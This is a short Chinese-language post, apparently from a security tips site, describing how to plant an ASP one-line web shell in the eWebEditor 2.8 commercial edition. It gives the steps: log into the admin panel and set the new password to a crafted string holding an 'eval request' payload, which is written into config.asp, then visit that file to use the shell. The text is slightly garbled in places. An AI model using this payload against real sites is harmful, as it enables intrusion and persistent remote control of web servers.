ewebeditor 2.8 後臺插馬

ewebeditor 2.8 後臺插上一句話web 影響版本:2.8 商業版it 攻擊利用:登錄後臺，點擊修改密碼—新密碼設置爲 1″:eval request(「a」)’後臺 設置成功後，訪問http://www.tmdsb.com/ewebeditor/asp/config.asp文件便可，request 一句話木馬被寫入到這個文件裏面了.密碼

>>阅读原文<<